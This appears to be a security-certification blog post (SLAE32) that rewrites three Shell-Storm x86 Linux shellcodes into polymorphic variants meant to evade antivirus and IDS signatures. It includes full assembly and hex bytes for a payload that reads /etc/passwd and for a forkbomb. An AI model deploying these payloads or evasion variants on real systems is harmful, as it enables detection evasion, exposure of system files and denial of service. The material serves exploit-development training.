SLAE32 0x06: Polymorphic Shell-Storm Shellcode
Polymorphic shellcode can be described as any shellcode that performs the same function as an existing shellcode, but with different instructions. In a similar vein to encoded shellcode, polymorphic shellcode is most commonly used in an attempt to evade anti-virus software and intrusion detection systems.
Generally speaking, anti-virus software and intrusion detection systems (IDS) scan data for known patterns (signatures) that correspond to known malicious code or computer viruses. If an anti-virus software or IDS system detects such patterns, then the code will not be executed by the system. As a way to circumvent this, polymorphic shellcode can be used in place of the original shellcode with the hopes that the signature for the polymorphic shellcode is not in the signature database of the anti-virus or IDS software.
The rest of this post will analyze three existing shellcodes taken from the Shell-Storm website. Using these shellcodes as a starting point, a polymorphic shellcode will be created through modification of the original shellcode. The changes made to each shellcode will be explained as part of the exercise.
Objectives
Create 3 polymorphic shellcodes from 3 pre-existing Shell-Storm shellcodes;
- Each polymorphic shellcode should not be longer than 150% of the pre-existing shellcode
- Extra points for if the polymorphic shellcode is shorter than the pre-existing shellcode
Shellcode I: /bin/cat /etc/passwd
Shellcode I: Explanation
The first shellcode that will be examined and altered is /bin/cat /etc/passwd
. This shellcode uses the execve
system call to execute the command /bin/cat /etc/passwd
on the system on which the shellcode is run. The execve
system call has been explained in many previous posts and therefore will not be explained here.
The original Shell-Storm shellcode can be found here.
Shellcode I: Original Assembly & Shellcode
The assembly instructions for the unmodified /bin/cat /etc/passwd
shellcode are shown below:
global _start
section .text
_start:
xor eax, eax
cdq
push edx
push dword 0x7461632f
push dword 0x6e69622f
mov ebx, esp
push edx
push dword 0x64777373
push dword 0x61702f2f
push dword 0x6374652f
mov ecx, esp
mov al, 0xb
push edx
push ecx
push ebx
mov ecx, esp
int 0x80
After compiling and linking the assembly code above, the bash
one-liner that has been used in previous posts can be used to generate the hexadecimal shellcode shown below. The original /bin/cat /etc/passwd
shellcode is 43 bytes in length.
\x31\xc0\x99\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x52\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80
Shellcode I: Original Demonstration
This shellcode can be demonstrated by placing the shellcode shown above in an sc_test.c
file. The sc_test.c
file used to test the shellcode here is the same sc_test.c
shellcode that has been used in previous posts. After compiling sc_test.c
using the gcc -m32 -fno-stack-protector -z execstack sc_test.c -o sc_test
command, the binary can be executed. Upon execution, the program prints the contents of the /etc/passwd
file to the terminal. A demonstration of this is shown below.
root@kali:~/workspace/SLAE/assignments/0x06# ./sc_test
Shellcode Length: 43
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
...
Shellcode I: Morphed Assembly & Shellcode
The original assembly code has been modified and is shown in full below. Comments have been added to the assembly code to show where changes have been made. An explanation of these changes follows the code.
global _start
section .text
_start:
xor eax, eax
mul eax ; change #1
push edx
push dword 0x7461632f
push dword 0x6e69622f
mov ebx, esp
push edx
jmp short jump_a ; change #2
call_a:
pop ecx ; change #3
mov al, 0xb
push edx
push ecx
push ebx
mov ecx, esp
int 0x80
jump_a:
call call_a
db '/etc/passwd'
For the first change, in the original assembly code, an XOR
instruction and a CDQ
instruction were used at the beginning of the program to clear the necessary registers. In the modified shellcode, a MUL EAX
instruction was used in place of CDQ
. In this case, the MUL EAX
instruction results in the EAX
and the EDX
registers being cleared. The MUL
instruction was discussed in more detail in a previous post.
For the second change, the original shellcode used three PUSH
instructions to store a string on the stack. Converting the pushed bytes to ASCII reveals that the string is /etc//passwd
, as shown below.
>>> print('\x64\x77\x73\x73\x61\x70\x2f\x2f\x63\x74\x65\x2f')
dwssap//cte/
In the modified shellcode, a ‘JUMP-CALL-POP’ technique is used to accomplish this task. In the modified program, the JMP SHORT jump_a
instruction redirects execution to the jump_a
label. At the jump_a
label, a CALL
instruction is used to store the memory address immediately following the CALL
to the stack and to redirect execution to the call_a
label. In this case, the memory address immediately following the CALL
instruction contains the string /etc/passwd
as defined by the DB
instruction.
For the third change, as execution flow continues at the call_a
label, a POP ECX
instruction is used in place of a MOV ECX, ESP
instruction in the original assembly code. The functionality provided by these two different instructions accomplish the same task.
The shellcode resulting from the modified version of /bin/cat /etc/passwd
is 46 bytes (3 bytes longer than the original shellcode) and is shown below.
\x31\xc0\xf7\xe0\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x52\xeb\x0a\x59\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80\xe8\xf1\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64
Shellcode I: Morphed Demonstration
The modified shellcode can be tested in the same manner as the original shellcode. Once again, the sc_test.c
program was used to test the shellcode. Upon compiling sc_test.c
with the modified shellcode and executing sc_test
, the contents of /etc/passwd
is printed to the terminal as expected. A sample of the output is shown below.
root@kali:~/workspace/SLAE/assignments/0x06# ./sc_test
Shellcode Length: 46
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
...
Shellcode II: System Beep
Shellcode II: Explanation
The second shellcode that will be examined and altered is the ‘System Beep’ shellcode. This shellcode uses two system calls to complete the task of making the system on which the code is executed issue a low tone audible beep. The system calls used in this shellcode are open
and iotcl
.
The original Shell-Storm shellcode can be found here.
Shellcode II: Original Assembly & Shellcode
The assembly instructions for the unmodified ‘System Beep’ shellcode are shown below:
global _start
section .text
_start:
push byte 5
pop eax
cdq
push edx
push 0x30317974
push 0x742f2f2f
push 0x7665642f
mov ebx, esp
mov ecx, edx
int 0x80
mov ebx, eax
push byte 54
pop eax
mov ecx, 4294948047
not ecx
mov edx, 66729180
int 0x80
After compiling and linking the assembly code above, the bash
one-liner mentioned previously can be used to generate the hexadecimal shellcode shown below. The original ‘System Beep’ shellcode is 45 bytes in length.
\x6a\x05\x58\x99\x52\x68\x74\x79\x31\x30\x68\x2f\x2f\x2f\x74\x68\x2f\x64\x65\x76\x89\xe3\x89\xd1\xcd\x80\x89\xc3\x6a\x36\x58\xb9\xcf\xb4\xff\xff\xf7\xd1\xba\xdc\x34\xfa\x03\xcd\x80
Shellcode II: Original Demonstration
The ‘System Beep’ shellcode can be tested in the same manner as outlined previously for the /bin/cat /etc/passwd
shellcode. Once again, the sc_test.c
file containing the shellcode shown above was compiled with the gcc -m32 -fno-stack-protector -z execstack sc_test.c -o sc_test
command which compiles the sc_test
binary. Running the sc_test
binary that was compiled with the ‘System Beep’ shellcode from above results in the system producing an audible low-pitched ‘beep’. The sc_test
binary additionally prints the length of the shellcode, which is 45 bytes, as shown below. Note that this code results in a Segmentation Fault
error.
root@kali:~/workspace/SLAE/assignments/0x06# ./sc_test
Shellcode Length: 45
Segmentation fault
Shellcode II: Morphed Assembly & Shellcode
The original assembly code has been modified and is shown in full below. Comments have been added to the assembly code to show where changes have been made. An explanation of these changes follows the code.
global _start
section .text
_start:
xor eax, eax ; change #1
mul ecx
mov cl, 5
loop_inc: ; change #2
inc eax
loop loop_inc
push edx
jmp short jump_a ; change #3
call_a:
pop ebx ; change #4
int 0x80
xchg ebx, eax ; change #5
push byte 54
pop eax
mov ecx, 4294948047
not ecx
mov edx, 66729180
int 0x80
jump_a:
call call_a
db '/dev/tty10'
In a manner similar to the case outlined in the /bin/cat /etc/passwd
assembly and shellcode, the first change to the ‘System Beep’ assembly code involves how the required registers are zereod out. In the modified shellcode, an XOR EAX
instruction and a MUL ECX
instruction are used to clear the required registers. The MUL
instruction was discussed in more detail in a previous post. In contrast to the original shellcode, the modified shellcode moves the value 5
into the CL
register with the MOV CL, 5
instruction.
The second change noted within the modified ‘System Beep’ assembly code involves how the value of 5
is placed in the EAX
register for the open
system call. In the modifed assembly code, a loop is used to increase the value in EAX
from 0
to 5
. The LOOP loop_inc
instruction will repeat the insructions between itself and the loop_inc
label until the value in ECX
is 0
. As the value 5
was moved into CL
as mentioned previously, this will result in the EAX
register containing the value 5
as the LOOP
instruction completes. This method is in contrast to the much simpler method used in the original shellcode of pushing the value 5
to the stack and subsequently storing it in EAX
with a POP EAX
instruction.
The third change involves the use of the ‘JUMP-CALL-POP’ technique. This technique is used in the same way as explained previously in the /bin/cat /etc/passwd
example. In the modified program, the JMP SHORT jump_a
instruction redirects execution to the jump_a
label. At the jump_a
label, a CALL
instruction is used to store the memory address immediately following the CALL
to the stack and to redirect execution to the call_a
label. In this case, the memory address immediately following the CALL
instruction contains the string /dev/tty10
as defined by the DB
instruction.
The /dev/tty10
value can be confirmed by examing the bytes pushed to the stack by the three concurrent PUSH
instructions in the original assembly code, as shown below.
>>> print('\x30\x31\x79\x74\x74\x2f\x2f\x2f\x76\x65\x64\x2f')
01ytt///ved/
The fourth and fifth changes are simple changes. The fourth change uses a POP EBX
instruction to store ESP
in the EBX
register instead of the MOV EBX, ESP
instruction used n the original assembly code. The fifth change implements an XCHG EBX, EAX
instruction instead of a
MOV EBX, EAX
command.
The shellcode resulting from the modified version of ‘System Beep’ is 48 bytes (3 bytes longer than the original shellcode) and is shown below.
\x31\xc0\xf7\xe1\xb1\x05\x40\xe2\xfd\x52\xeb\x15\x5b\xcd\x80\x93\x6a\x36\x58\xb9\xcf\xb4\xff\xff\xf7\xd1\xba\xdc\x34\xfa\x03\xcd
\x80\xe8\xe6\xff\xff\xff\x2f\x64\x65\x76\x2f\x74\x74\x79\x31\x30
Shellcode II: Morphed Demonstration
The modified assembly code can be tested using the sc_test.c
file once again. After compiling sc_test.c
, the binary sc_test
will produce the same low-pitched beep as the original shellcode. Interestingly enough, the modified shellcode does not result in a Segmentation Fault
error as the original shellcode did.
root@kali:~/workspace/SLAE/assignments/0x06# ./sc_test
Shellcode Length: 48
Shellcode III: Forkbomb
Shellcode III: Explanation
The third and final shellcode that will be analyzed and modified is the short, simple, yet highly effective ‘Forkbomb’ shellcode. Don’t let the length and the simplicity of this shellcode fool you, for its effects are powerful. Just 7 bytes in length, the shellcode packs a powerful punch in the form of a denial of service when executed. The ‘Forkbomb’ shellcode utilizes the fork
system call to accomplish this task.
From man fork
, the fork
function creates a new process by duplicating the calling process. The denial of service shellcode loops over the fork
system call indefinitely, until the system on which the code is run is depleted of memory.
The original Shell-Storm shellcode can be found here.
Shellcode III: Original Assembly & Shellcode
The assembly instructions for the unmodified ‘Forkbomb’ shellcode are shown below:
global _start
section .text
_start:
push byte 2
pop eax
int 0x80
jmp short _start
After compiling and linking the assembly code above, the bash
one-liner that has been mentioned previously can be used to generate the hexadecimal shellcode shown below. The original ‘Forkbomb’ shellcode is 7 bytes in length.
\x6a\x02\x58\xcd\x80\xeb\xf9
Shellcode III: Original Demonstration
Note: Run this code at your own risk!
The ‘Forkbomb’ shellcode is difficult to demonstrate, as after running it, the system on which it is executed will very quickly (almost immediately) lock up. The system or virtual machine must be rebooted after executing the shellcode.
Shellcode III: Morphed Assembly & Shellcode
The original assembly code has been modified and is shown in full below. Comments have been added to the assembly code to show where changes have been made. An explanation of these changes follows the code.
global _start
section .text
_start:
xor eax, eax ; change #1
mov al, 1 ; change #2
inc eax ; change #3
int 0x80
jmp _start ; change #4
The first change involves the use of an XOR EAX, EAX
instruction. A similar instruction is not used in the original shellcode, as it is not necessary. The second change is the use of a MOV AL, 1
instruction. This instruction is used to set up EAX
for the upcoming fork
system call. The INC EAX
instruction is the third change and serves to complete the set up of the EAX
register for the fork
system call. After the MOV AL, 1
and the INC EAX
instructions, the EAX
register holds the value 2
which specifies the fork
system call in the unistd_32.h
file mentioned in previous posts. Finally, the jmp _start
instruction is used in place of a jmp short _start
instruction in the original shellcode.
The shellcode resulting from the modified version of ‘Forkbomb’ is 9 bytes (2 bytes longer than the original shellcode) and is shown below. Note that only three of the bytes present in the original shellcode are present in the modified shellcode.
\x31\xc0\xb0\x01\x40\xcd\x80\xeb\xf8
Shellcode III: Morphed Demonstration
As mentioned before, this shellcode should be tested at your own risk as it will lock up a system upon execution. The modified shellcode from above can be succsfully executed using sc_test.c
and sc_test
as described previously.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert
Student ID: SLAE-1469